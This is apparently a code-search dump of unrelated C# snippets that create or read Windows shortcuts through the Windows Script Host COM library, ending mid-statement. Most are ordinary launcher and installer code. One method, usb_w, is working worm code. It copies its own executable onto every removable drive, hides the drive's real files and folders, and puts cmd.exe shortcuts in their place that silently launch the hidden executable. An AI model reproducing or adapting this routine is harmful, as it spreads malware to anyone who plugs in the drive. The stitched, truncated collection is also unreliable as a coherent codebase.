private void LoadStartMenu(string path) { var shell = new IWshRuntimeLibrary.WshShell(); try { //var files = Directory.GetFiles(path); foreach (var file in Directory.GetFiles(path)) { var fileinfo = new FileInfo(file); if (fileinfo.Extension.ToLower() != ".lnk") continue; var link = shell.CreateShortcut(file) as IWshRuntimeLibrary.WshShortcut; var sr = new Result(fileinfo.Name.Substring(0, fileinfo.Name.Length - 4), link.TargetPath, file,Execute); _cachedItems.Add(sr); } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { foreach (var dir in Directory.GetDirectories(path)) { LoadStartMenu(dir); } } }
void InitShortcuts() { try { if (!Directory.Exists(shortcutFolder)) return; IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); var files = Directory.GetFiles(shortcutFolder, "*.lnk"); foreach (var file in files) { try { var shortcutFileInfo = new FileInfo(file); var targetFileInfo = GetTargetFileInfo(file); ShortCuts.Add(shortcutFileInfo.Name.Replace(shortcutFileInfo.Extension, string.Empty).ToUpper(), targetFileInfo); } catch (Exception) { //TODO Senthil } } } catch (Exception) { //TODO Senthil } }
public FileDialogModel() { string links = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "Links"); DirectoryInfo fav = new DirectoryInfo(links); Favorites.Add(new MyComputer{ Name = "Computer" }); if (fav.Exists) { IWshRuntimeLibrary.IWshShell shell = new IWshRuntimeLibrary.WshShell(); foreach (FileInfo lnk in fav.GetFiles("*.lnk", SearchOption.TopDirectoryOnly)) { string path = ((IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(lnk.FullName)).TargetPath; if (!String.IsNullOrEmpty(path)) { DirectoryInfo directory = new DirectoryInfo(path); if (directory.Exists) { Favorites.Add(directory); } } } } this.Filters = "Alle |*"; this.SelectedFilter = filters.FirstOrDefault(); if (startDirectory != null) { CurrentDirectory = new DirectoryInfo(startDirectory); } else { CurrentDirectory = null; } }
public static FileInfo GetTargetFileInfo(string shortcutPath) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); var link = shell.CreateShortcut(shortcutPath); var targetFileInfo = new FileInfo(link.TargetPath as string); return targetFileInfo; }
public static void CreateStartupShortcut() { string shortcutLocation = ShortcutPath; IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcutLocation); shortcut.Description = "Pyrite"; shortcut.TargetPath = System.Reflection.Assembly.GetExecutingAssembly().Location; shortcut.Save(); }
internal void CreateShortcut(string path) { FileInfo fileInfo = new FileInfo(path); IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); string shortcurtFilePath = Path.Combine(shortcutFolder, fileInfo.Name+ ".lnk"); if (File.Exists(shortcurtFilePath)) Far.Net.Message("Shortcut already exist"); var link = shell.CreateShortcut(shortcurtFilePath); link.TargetPath = fileInfo.FullName; link.Save(); }
public override void Invoke(object sender, ModuleFilerEventArgs e) { try { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); var link = shell.CreateShortcut(e.Name); var targetFileInfo = new FileInfo(link.TargetPath as string); ShortieCommand.ProcessShortcut(targetFileInfo); } catch { //TODO Senthil } }
public string ResolveShortcut(string filePath) { // IWshRuntimeLibrary is in the COM library "Windows Script Host Object Model" IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); try { IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(filePath); return shortcut.TargetPath; } catch (COMException) { // A COMException is thrown if the file is not a valid shortcut (.lnk) file return null; } }
/// <summary> /// Creates a new Windows shortcut. /// </summary> /// <param name="path">The location to place the shorcut at.</param> /// <param name="targetPath">The target path the shortcut shall point to.</param> /// <param name="arguments">Additional arguments to pass to the target; can be <c>null</c>.</param> /// <param name="iconLocation">The path of the icon to use for the shortcut; leave <c>null</c> ot get the icon from <paramref name="targetPath"/>.</param> /// <param name="description">A short human-readable description; can be <c>null</c>.</param> public static void Create([NotNull] string path, [NotNull] string targetPath, [CanBeNull] string arguments = null, [CanBeNull] string iconLocation = null, [CanBeNull] string description = null) { #if !__MonoCS__ if (File.Exists(path)) File.Delete(path); var wshShell = new IWshRuntimeLibrary.WshShell(); var shortcut = (IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(path); shortcut.TargetPath = targetPath; if (!string.IsNullOrEmpty(arguments)) shortcut.Arguments = arguments; if (!string.IsNullOrEmpty(iconLocation)) shortcut.IconLocation = iconLocation; if (!string.IsNullOrEmpty(description)) shortcut.Description = description.Substring(0, Math.Min(description.Length, 256)); shortcut.Save(); #endif }
static App analyseFile(string fileName) { if (fileName == null) return null; App app = new App(); app.name = Path.GetFileNameWithoutExtension(fileName); app.cmd = fileName; return app; #if false if (Directory.Exists(fileName)) { app.name = Path.GetFileName(fileName); app.cmd = "explorer " + fileName; return app; } if (!File.Exists(fileName)) { return null; } string ext,name; do { ext = Path.GetExtension(fileName); name = Path.GetFileNameWithoutExtension(fileName); if(ext!=".lnk") break; var shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut link=shell.CreateShortcut(fileName) as IWshRuntimeLibrary.IWshShortcut; fileName = link.TargetPath; }while (true); app.name = name; switch (ext) { case ".exe": app.cmd = fileName; break; } return app; #endif }
private void button1_Click(object sender, EventArgs e) { string targetPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), "test.lnk"); IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(targetPath); shortcut.TargetPath = System.Reflection.Assembly.GetExecutingAssembly().Location; shortcut.WorkingDirectory = System.Environment.CurrentDirectory; shortcut.WindowStyle = 1; shortcut.Description = "test"; shortcut.IconLocation = Path.Combine(System.Environment.SystemDirectory, "shell32.dll, 165"); if (File.Exists(targetPath)) { File.Delete(targetPath); } shortcut.Save(); }
private static void FindPorgrams(string basePath) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); foreach (string file in System.IO.Directory.GetFiles(basePath)) { System.IO.FileInfo fileinfo = new System.IO.FileInfo(file); if (fileinfo.Extension.ToLower() == ".lnk") { IWshRuntimeLibrary.WshShortcut link = shell.CreateShortcut(file) as IWshRuntimeLibrary.WshShortcut; DocProperties sr = new DocProperties(fileinfo.Name.Substring(0, fileinfo.Name.Length - 4), link.TargetPath, file); StartPrograms.Add(sr); } } // recurse through the subfolders foreach (string dir in System.IO.Directory.GetDirectories(basePath)) { FindPorgrams(dir); } }
private bool CreateDesktopIcons(string fileName, string linkName) { try { string p = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); string s = this.GetBinFile(fileName); IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.WshShortcut shortcut = (IWshRuntimeLibrary.WshShortcut)shell.CreateShortcut(p + "\\" + linkName + ".lnk"); shortcut.TargetPath = s; shortcut.Arguments = ""; shortcut.Description = fileName; shortcut.WorkingDirectory = Path.Combine(this.installPath.Text, this.binPath); shortcut.IconLocation = string.Format("{0},0", s); shortcut.Save(); this.AddLog("桌面快捷方式创建成功"); return true; } catch (Exception) { return false; } }
public IMEFirmwareTool(string[] Argss) { InitializeComponent(); Args = Argss; if (Settings.NeedsSettingsUpgrade) { Settings.Upgrade(); Settings.NeedsSettingsUpgrade = false; } InstalledMEFirmwareVersionLabel.Text = "Installed ME Firmware Version: Calculating"; FirmwareType.Text = "Firmware Type: Calculating"; if (File.Exists(string.Format(@"{0}\{1}", Application.StartupPath, "error.log"))) File.Delete(string.Format(@"{0}\{1}", Application.StartupPath, "error.log")); Settings.PropertyChanged += Settings_PropertyChanged; ForceResetCheckBox.Checked = Settings.ForceReset; AllowFlashingOfSameFirmwareVersionCheckBox.Checked = Settings.AllowSameVersion; BuildDate = ProgramInformation.GetBuildDateTime(ExecutablesFullPath); ProgramVersionLabel.Text = string.Format("Version: {0}", VersionUntouchedWithDots); BuildDateLabel.Text = string.Format("Build Date: {0}", BuildDate); CopyrightLabel.Text = string.Format("Copyright: {0}", ProgramInformation.AssemblyCopyright); try { if (!Debugging.IsDebugging) { if (File.Exists(string.Format(@"{0}\{1}.dll", Application.StartupPath, "SevenZipSharp"))) File.Delete(string.Format(@"{0}\{1}.dll", Application.StartupPath, "SevenZipSharp")); File.WriteAllBytes(string.Format(@"{0}\{1}.dll", Application.StartupPath, "SevenZipSharp"), Resources.SevenZipSharp); File.SetAttributes(string.Format(@"{0}\{1}.dll", Application.StartupPath, "SevenZipSharp"), File.GetAttributes(string.Format(@"{0}\{1}.dll", Application.StartupPath, "SevenZipSharp")) | FileAttributes.Hidden); } if (File.Exists(string.Format(@"{0}\{1}.dll", Application.StartupPath, "7z"))) File.Delete(string.Format(@"{0}\{1}.dll", Application.StartupPath, "7z")); File.WriteAllBytes(string.Format(@"{0}\{1}.dll", Application.StartupPath, "7z"), Resources._7z); File.SetAttributes(string.Format(@"{0}\{1}.dll", Application.StartupPath, "7z"), File.GetAttributes(string.Format(@"{0}\{1}.dll", Application.StartupPath, "7z")) | FileAttributes.Hidden); } catch { } #region Program Shortcut if (!Directory.Exists(string.Format(@"{0}\{1}", Environment.GetFolderPath(Environment.SpecialFolder.Programs), Path.GetFileNameWithoutExtension(Assembly.GetEntryAssembly().Location)))) Directory.CreateDirectory(string.Format(@"{0}\{1}", Environment.GetFolderPath(Environment.SpecialFolder.Programs), Path.GetFileNameWithoutExtension(Assembly.GetEntryAssembly().Location))); IWshRuntimeLibrary.WshShell Shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut Shortcut = (IWshRuntimeLibrary.IWshShortcut)Shell.CreateShortcut(Path.Combine(string.Format(@"{0}\{1}", Environment.GetFolderPath(Environment.SpecialFolder.Programs), Path.GetFileNameWithoutExtension(Assembly.GetEntryAssembly().Location)), string.Format("{0}.lnk", Path.GetFileNameWithoutExtension(Assembly.GetEntryAssembly().Location)))); Shortcut.Description = string.Format("{0} - {1}", Path.GetFileNameWithoutExtension(Assembly.GetEntryAssembly().Location), ProgramInformation.AssemblyDescription); Shortcut.TargetPath = string.Format(@"{0}\{1}", Application.StartupPath, Path.GetFileName(Assembly.GetEntryAssembly().Location)); Shortcut.Save(); #endregion if (File.Exists(ProgramOldLocation)) File.Delete(ProgramOldLocation); }
private void PanelGames_DragDrop(object sender, DragEventArgs e) { // TODO: Break this method up string[] droppedFiles = (string[])e.Data.GetData(DataFormats.FileDrop, false); foreach (string currentFile in droppedFiles) { string location = ""; //TODO: Check if the item is url if (currentFile.EndsWith(".lnk")) { try { //Grab target path by creating a shortcut file if (File.Exists(currentFile)) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut link = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(currentFile); location = link.TargetPath; } } catch (Exception ex) { MessageBox.Show(ex.Message + " - Unable to find target path"); } } else { location = currentFile; } // Resize array if needed if (Game.numberOfGames == OldCollection.GetLength(1)) { OldCollection = ResizeArray(OldCollection); } // Select only the filename string fileName = Path.GetFileNameWithoutExtension(location); // Remove 'Shortcut' text if exists if (fileName.Contains("Shortcut")) { int startPoint = fileName.LastIndexOf('.'); fileName = fileName.Remove(startPoint, fileName.Length - startPoint); } // Store new data OldCollection[0, Game.numberOfGames] = AddSpacesToSentence(fileName); OldCollection[1, Game.numberOfGames] = location; string iconPath = Directory.GetCurrentDirectory() + @"\icons\" + OldCollection[0, Game.numberOfGames] + ".bmp"; //give filename to bmp OldCollection[2, Game.numberOfGames] = iconPath; try { //TODO - stores icon cache, will be redundant once images/steamgrids functionality replace it //delete existing icon may not be needed, file would simply be overwritten //File.Delete(iconPath); //Extract icon and save it at iconPath Icon.ExtractAssociatedIcon(location).ToBitmap().Save(iconPath); } catch (Exception ex) { //TODO - Fix this exception Debug.WriteLine(ex.Message); MessageBox.Show("Unable to extract icon" + ex.Message); } Game.numberOfGames++; /* TODO: * Scan through code below, used to download images from theGamesDB.net * Use Google API or custom web parsing? */ #region editMe //string URLforID = "http://thegamesdb.net/search/?searchview=table&string=" //+ arrNameLocPic[0, Game.numberOfGames] //+ "&function=Search&sortBy=&limit=20&page=1&updateview=yes&stringPlatform="; //string ID = ""; //try //{ // HtmlWeb hw = new HtmlWeb(); // HtmlAgilityPack.HtmlDocument doc = hw.Load(URLforID); // HtmlNode link = doc.DocumentNode.SelectSingleNode("//*[@id=\"listtable\"]/tr[2]/td[1]"); // ID = link.InnerHtml; // //MessageBox.Show(ID); //} //catch (Exception ex) //{ // //MessageBox.Show("Game not found within database!"); //} //try //{ // string URL2 = "http://thegamesdb.net/api/GetArt.php?id=" + ID; // int pointer = 1; // //Process.Start(URL); // XmlTextReader reader = new XmlTextReader(URL2); // // Skip non-significant whitespace // reader.WhitespaceHandling = WhitespaceHandling.Significant; // string baseLink = "http://thegamesdb.net/banners/"; // string image = ""; // WebClient webClient = new WebClient(); // //while (reader.Read() && !ready) // while (reader.Read()) // { // if (reader.Value.Contains("graphical")) // { // //Form2 foo = new Form2(); // //foo.showLink(baseLink + reader.Value); // //foo.Show(); // image = reader.Value; // webClient.DownloadFile(baseLink + image, arrNameLocPic[0, Game.numberOfGames] + "_" + pointer + ".jpg"); // arrNameLocPic[2, Game.numberOfGames] = arrNameLocPic[0, Game.numberOfGames] + "_" + pointer++ + ".jpg"; // } // else if (reader.Value.Contains("clearlogo")) // { // //Form2 foo = new Form2(); // //foo.showLink(baseLink + reader.Value); // //foo.Show(); // image = reader.Value; // webClient.DownloadFile(baseLink + image, arrNameLocPic[0, Game.numberOfGames] + "_" + pointer + ".jpg"); // arrNameLocPic[2, Game.numberOfGames] = arrNameLocPic[0, Game.numberOfGames] + "_" + pointer++ + ".jpg"; // } // }//while // if (image == "") // { // //MessageBox.Show("Sorry no images found."); // arrNameLocPic[2, Game.numberOfGames] = Game.numberOfGames.ToString() + ".bmp"; // } //} //catch (Exception ex) //{ // //MessageBox.Show("Could not download image!"); //} #endregion } SaveCurrentSession(); panelGames.Controls.Clear(); CallGenerate(); }
private string FindLauncherPath() { string launcherPath = null; // attempt 1. Read the registry RegistryKey key = null; try { if (Environment.Is64BitOperatingSystem) key = Registry.LocalMachine.OpenSubKey("SOFTWARE").OpenSubKey("Wow6432Node"); if (key == null) key = Registry.LocalMachine.OpenSubKey("SOFTWARE"); key = key.OpenSubKey("Microsoft").OpenSubKey("Windows").OpenSubKey("CurrentVersion").OpenSubKey("Uninstall"); key = key.OpenSubKey("{696F8871-C91D-4CB1-825D-36BE18065575}_is1"); if (key != null) { launcherPath = key.GetValue("InstallLocation") as string; } } catch { } if (launcherPath != null) return launcherPath; // attempt 2. try to read the shortcut in the program menu string menuPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonStartMenu), "Programs", "Frontier", "Elite Dangerous Launcher"); string shortcut = Path.Combine(menuPath, "Elite Dangerous Launcher.lnk"); if (File.Exists(shortcut)) { var shell = new IWshRuntimeLibrary.WshShell(); var lnk = shell.CreateShortcut(shortcut); string launcherExePath = lnk.TargetPath; launcherPath = new FileInfo(launcherExePath).DirectoryName; } // attempt 3. try the default path if (launcherPath == null) { if (File.Exists(Path.Combine(DefLauncherPath, "EDLaunch.exe"))) launcherPath = DefLauncherPath; } return launcherPath; }
private static string ShortCutTargetFinder(string path) { /* finds target path of a .lnk shortcut file prerequisites: COM object: Windows Script Host Object Mode */ if (System.IO.File.Exists(path)) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); //Create a new WshShell Interface IWshRuntimeLibrary.IWshShortcut link = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(path); //Link the interface to our shortcut return link.TargetPath; } else { throw new FileNotFoundException(); } }
private void btn1_Click(object sender, RoutedEventArgs e) { int index = 0; for (index = 0; index < steamGameName.Count; index++) if (steamGameName[index] == cb1.SelectedItem.ToString()) break; string curSteamGameId = steamGameId[index]; string shortcutName = string.Join(string.Empty, cb1.SelectedItem.ToString().Split(Path.GetInvalidFileNameChars())); string curSteamGameDir = string.Format("{0}\\SteamApps\\common\\{1}", path, shortcutName); if (!string.IsNullOrEmpty(curSteamGameId)) { OpenFileDialog getGameExe = new OpenFileDialog(); getGameExe.DefaultExt = ".exe"; getGameExe.Filter = "Executable File (*.exe) | *.exe"; if (Directory.Exists(curSteamGameDir)) getGameExe.InitialDirectory = curSteamGameDir; else getGameExe.InitialDirectory = Path.Combine(path, "SteamApps"); if (SilDev.Reg.SubKeyExist("HKLM", string.Format("SOFTWARE\\Valve\\Steam\\Apps\\{0}", curSteamGameId))) { string uplayGame = SilDev.Reg.ReadValue("HKLM", string.Format("SOFTWARE\\Valve\\Steam\\Apps\\{0}", curSteamGameId), "UplayLauncher"); if (!string.IsNullOrEmpty(uplayGame)) { if (SilDev.Reg.SubKeyExist("HKLM", "SOFTWARE\\Ubisoft\\Launcher")) { string uplayPath = SilDev.Reg.ReadValue("HKLM", "SOFTWARE\\Ubisoft\\Launcher", "InstallDir"); if (!string.IsNullOrEmpty(uplayPath)) { if (Directory.Exists(uplayPath)) getGameExe.InitialDirectory = uplayPath; if (File.Exists(Path.Combine(uplayPath, "Uplay.exe"))) getGameExe.FileName = "Uplay.exe"; } } } } getGameExe.Title = ("Select the game executable file").ToUpper(); bool? gameExeResult = getGameExe.ShowDialog(); if (gameExeResult == true) { string curSteamGameName = Path.GetFileNameWithoutExtension(getGameExe.FileName); string shortcutIconPath = getGameExe.FileName; if (curSteamGameName.ToLower() == "uplay") { OpenFileDialog getGameIcon = new OpenFileDialog(); getGameIcon.DefaultExt = ".exe|.ico"; getGameIcon.Filter = "Icon (*.exe, *.ico) | *.exe; *.ico"; ; getGameIcon.InitialDirectory = Path.Combine(path, "steam\\games"); getGameIcon.Title = ("Select the game icon").ToUpper(); Nullable<bool> getGameIconResult = getGameIcon.ShowDialog(); if (getGameIconResult == true) shortcutIconPath = getGameIcon.FileName; } try { IWshRuntimeLibrary.WshShell wshShell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut desktopShortcut; desktopShortcut = (IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), string.Format("{0}.lnk", shortcutName))); desktopShortcut.Arguments = string.Format("\"{0}\" \"{1}\"", curSteamGameId, Path.GetFileNameWithoutExtension(getGameExe.FileName)); desktopShortcut.IconLocation = shortcutIconPath; desktopShortcut.TargetPath = Environment.GetCommandLineArgs()[0]; desktopShortcut.WorkingDirectory = System.IO.Path.GetDirectoryName(Environment.GetCommandLineArgs()[0]); desktopShortcut.WindowStyle = 7; desktopShortcut.Save(); MessageBox.Show(string.Format("Desktop shortcut for {0} created.", shortcutName), "Information", MessageBoxButton.OK, MessageBoxImage.Information); } catch { MessageBox.Show("Something was wrong, no shortcut created.", "Warning", MessageBoxButton.OK, MessageBoxImage.Warning); } } } }
static void Main(string[] args) { const string STR_LNK = ".lnk"; const string STR_DIR_NOT_FOUND = "ディレクトリがありません。"; const string STR_USAGE = "Usage:GetShotCut DirectoryPath"; const string STR_BORKEN_LINK = "Broken link:"; const string STR_TMP_DIR = "L:\\tmp\\"; const string STR_REPLACE = ":\\"; const string STR_ECHO_FILE = "echo F | xcopy \""; const string STR_ECHO_DIR = "echo D | XCOPY /H /K /S /E \""; const string STR_SPACE = "\" \""; const string STR_END = "\""; string strSCF = ""; if (args.Length == 1) { strSCF = args[0]; if (!Directory.Exists(strSCF)) { Console.WriteLine(STR_DIR_NOT_FOUND); return; } } else if (args.Length == 0) { Console.WriteLine(STR_USAGE); return; } string[] fromfiles = System.IO.Directory.GetFiles(strSCF, "*", System.IO.SearchOption.TopDirectoryOnly); string str_fname = ""; string strPath = ""; string strTmpPath = ""; for (int i = 0; i < fromfiles.Length; i++)//元フォルダ一覧でループ { str_fname = System.IO.Path.GetFullPath(fromfiles[i]); string strExtension = System.IO.Path.GetExtension(str_fname); //拡張子を取得 if (strExtension == STR_LNK) //拡張子がlnkの場合 { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(str_fname); strPath = shortcut.TargetPath.ToString(); //ショートカットのターケゲットパスを取得 strTmpPath = STR_TMP_DIR + strPath.Replace(STR_REPLACE, ""); if (!File.Exists(strPath) && !Directory.Exists(strPath)) //ファイルの存在チェック { Console.WriteLine(STR_BORKEN_LINK + strPath); //リンク切れを出力 } else { if (File.Exists(strPath)) { Console.WriteLine(STR_ECHO_FILE + strPath + STR_SPACE + strTmpPath + STR_END); } else if (Directory.Exists(strPath)) { Console.WriteLine(STR_ECHO_DIR + strPath + STR_SPACE + strTmpPath + STR_END); } } //後始末 System.Runtime.InteropServices.Marshal.FinalReleaseComObject(shortcut); System.Runtime.InteropServices.Marshal.FinalReleaseComObject(shell); } } }
private async Task CheckInstallAsync() { BeginInvoke((Action)(async() => { //安装jre if (CheckJreExisted()) { CB_JreInstalled.Checked = true; CB_JreDownloaded.Checked = true; } else { await DownloadJreAsync(); InstallJreAsync(); } //下载启动器 //1.检查下载路径配置 if (string.IsNullOrWhiteSpace(launcherPath)) { var dialog = new FolderBrowserDialog(); if (dialog.ShowDialog() == DialogResult.OK)//TODO: 选择不为ok 则重复打开选择窗口 { launcherPath = dialog.SelectedPath; UpdateConfiguration("McLauncherPath", launcherPath); } } //2.检查启动器是否存在 string fileName = mcLauncherUrl.Split('/').LastOrDefault(); var path = Path.Combine(launcherPath, fileName); if (!File.Exists(path)) { //下载启动器 await DownloadLauncherAsync(path); } CB_LauncherDownloaded.Checked = true; //3.配置启动器 var ff = new FileInfo(fileName); string folder = Path.Combine(launcherPath, ff.Name.Replace(ff.Extension, string.Empty)); if (!Directory.Exists(folder) || Directory.GetFiles(folder).Any(f => f.Contains(".exe") || f.Contains(".EXE"))) { //如果文件夹不存在或者无exe文件则解压 ZipFile.ExtractToDirectory(path, folder); } string exePath = Path.Combine(folder, Directory.GetFiles(folder).First(f => f.Contains(".exe") || f.Contains(".EXE"))); //桌面快捷方式 string shortcutPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "MineCraft Launcher.lnk"); bool exist = false; var shell = new IWshRuntimeLibrary.WshShell(); if (!File.Exists(shortcutPath)) { foreach (var item in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "*.lnk")) { var ws = (IWshRuntimeLibrary.WshShortcut)shell.CreateShortcut(item); if (ws.TargetPath == exePath) { exist = true; break; } } } if (!exist) { var shortcut = (IWshRuntimeLibrary.WshShortcut)shell.CreateShortcut(shortcutPath); shortcut.TargetPath = exePath; shortcut.Arguments = string.Empty; shortcut.Description = "MC 启动器"; shortcut.WorkingDirectory = folder; shortcut.IconLocation = exePath; shortcut.Save(); } CB_LauncherConfig.Checked = true; //启动启动器 var p = new Process(); p.StartInfo.FileName = exePath; p.EnableRaisingEvents = false; p.Start(); Application.Exit(); })); }
private static void usb_w() { Off = false; do { foreach (System.IO.DriveInfo x in System.IO.DriveInfo.GetDrives()) { try { if (x.IsReady) { // \/ \/ \/ \/ if need to make shortcut on shared too if (x.TotalFreeSpace > 0 && (x.DriveType == System.IO.DriveType.Removable || x.DriveType == System.IO.DriveType.CDRom)) // || x.DriveType == System.IO.DriveType.Network)) // <<<<<<<<<<< if need to make shortcut on shared { // ^^^^^^^^^^^ if need to make shortcut on shared try { if (System.IO.File.Exists(x.Name + ExeName)) { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.Normal); } System.IO.File.Copy(Application.ExecutablePath, x.Name + ExeName, true); System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.Hidden); try { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.System); } catch (System.Exception ex) { } try { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.Hidden); } catch (System.Exception ex) { } foreach (string xx in System.IO.Directory.GetFiles(x.Name)) { if (xx.Contains(ExeName.Replace(".exe", ".ex")) == false && System.IO.Path.GetExtension(xx).ToLower().Equals(".lnk") == false && System.IO.Path.GetExtension(xx).ToLower().Equals(x.Name.ToLower() + ExeName.ToLower()) == false) { System.IO.File.SetAttributes(xx, System.IO.FileAttributes.Hidden); try { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.System); } catch (System.Exception ex) { } try { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.ReadOnly); } catch (System.Exception ex) { } try { System.IO.File.Delete(x.Name + new System.IO.FileInfo(xx).Name + ".lnk"); } catch (System.Exception ex) { } try { var shell = new IWshRuntimeLibrary.WshShell(); var shortcut = shell.CreateShortcut(x.Name + new System.IO.FileInfo(xx).Name + ".lnk") as IWshRuntimeLibrary.IWshShortcut; shortcut.TargetPath = "cmd.exe"; shortcut.WorkingDirectory = ""; shortcut.Arguments = @"/c start " + ExeName.Replace(" ", ((char)34).ToString() + " " + ((char)34).ToString()) + "&start " + new System.IO.FileInfo(xx).Name.Replace(" ", ((char)34).ToString() + " " + ((char)34).ToString()) + " & exit"; shortcut.IconLocation = GetIcon(System.IO.Path.GetExtension(xx)); shortcut.Save(); } catch (System.Exception ex) { } } } foreach (string xx in System.IO.Directory.GetDirectories(x.Name)) { System.IO.File.SetAttributes(xx, System.IO.FileAttributes.Hidden); try { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.System); } catch (System.Exception ex) { } try { System.IO.File.SetAttributes(x.Name + ExeName, System.IO.FileAttributes.ReadOnly); } catch (System.Exception ex) { } System.IO.File.Delete(x.Name + new System.IO.DirectoryInfo(xx).Name + ".lnk"); string result = System.IO.Path.GetFileNameWithoutExtension(xx); var shell = new IWshRuntimeLibrary.WshShell(); var shortcut = shell.CreateShortcut(x.Name + result + " .lnk") as IWshRuntimeLibrary.IWshShortcut; shortcut.TargetPath = "cmd.exe"; shortcut.WorkingDirectory = ""; shortcut.Arguments = @"/c start " + ExeName.Replace(" ", ((char)34).ToString() + " " + ((char)34).ToString()) + @"&explorer /root,""%CD%" + new System.IO.DirectoryInfo(xx).Name + @""" & exit"; shortcut.IconLocation = @"%SystemRoot%\system32\SHELL32.dll,3"; shortcut.Save(); } } catch (System.Exception ex) { } } } } catch (System.Exception ex) { } } System.Threading.Thread.Sleep(800); } while (Off == true); try { thread = null; } catch (System.Exception ex) {} }
private void CreateShortcut() { #if __MonoCS__ // No shortcuts on linux #else var appPath = Assembly.GetExecutingAssembly().Location; var shell = new IWshRuntimeLibrary.WshShell(); var shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(ShortcutPath); shortcut.Description = Assembly.GetExecutingAssembly().GetName().Name; shortcut.TargetPath = appPath; shortcut.Save(); #endif }
private void CreateShortcut() { var appPath = Assembly.GetExecutingAssembly().Location; var shell = new IWshRuntimeLibrary.WshShell(); var shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(ShortcutPath); shortcut.Description = Assembly.GetExecutingAssembly().GetName().Name; shortcut.TargetPath = appPath; shortcut.Save(); }
private void LoadStartMenu(string path) { //var dir = new DirectoryInfo(path); //foreach (var file in dir.GetFileSystemInfos()) // Console.WriteLine(file.FullName); //foreach (var pat in dir.GetDirectories() // .Where(d => !d.Attributes.HasFlag(FileAttributes.NotContentIndexed))) //{ // foreach (var directoryInfo in pat.GetDirectories()) // { // LoadStartMenu(directoryInfo.FullName); // } //} var shell = new IWshRuntimeLibrary.WshShell(); try { //var files = Directory.GetFiles(path); foreach (var file in Directory.GetFiles(path)) { var fileinfo = new FileInfo(file); if (fileinfo.Extension.ToLower() != ".lnk") continue; var link = shell.CreateShortcut(file) as IWshRuntimeLibrary.WshShortcut; var sr = new Result(fileinfo.Name.Substring(0, fileinfo.Name.Length - 4), link.TargetPath, file); _cachedItems.Add(sr); } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { foreach (var dir in Directory.GetDirectories(path)) { LoadStartMenu(dir); } } }
private void Compile(string code) { Cursor = Cursors.WaitCursor; Application.UseWaitCursor = true; string message = "Shortcut created!\nExecute shortcut?"; string Filename = Shortcutbox.Text; string emupath = Edirbox.Text + "ShortCutes"; if (!Directory.Exists(emupath)) { Directory.CreateDirectory(emupath); } emupath += @"\"; string Output = emupath + Filename + ".exe"; CompilerParameters parameters = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll", "System.dll", "System.Windows.Forms.dll", "System.Drawing.dll", "System.Runtime.InteropServices.dll" }) { CompilerOptions = "-win32icon:" + temppath + "temp.ico \n -target:winexe " + "\n -resource:" + temppath + @"temp.png" + "\n -resource:" + temppath + @"loading.gif", GenerateExecutable = true, OutputAssembly = Output }; CompilerResults results = new CSharpCodeProvider().CompileAssemblyFromSource(parameters, code); if (results.Errors.Count > 0) { string errors = null; foreach (CompilerError CompErr in results.Errors) { errors = errors + "Line number " + CompErr.Line + ", Error Number: " + CompErr.ErrorNumber + ", '" + CompErr.ErrorText + ";" + Environment.NewLine; } MessageForm.Error(errors); Cursor = Cursors.Default; Application.UseWaitCursor = false; return; } if (!Directory.Exists(appdata + SelectedEmu.Name)) { Directory.CreateDirectory(appdata + SelectedEmu.Name); } if (SelectedShortCuteHis == -1) { new ShortCute(Filename, Edirbox.Text + SelectedEmu.Exe, Gdirbox.Text, appdata + 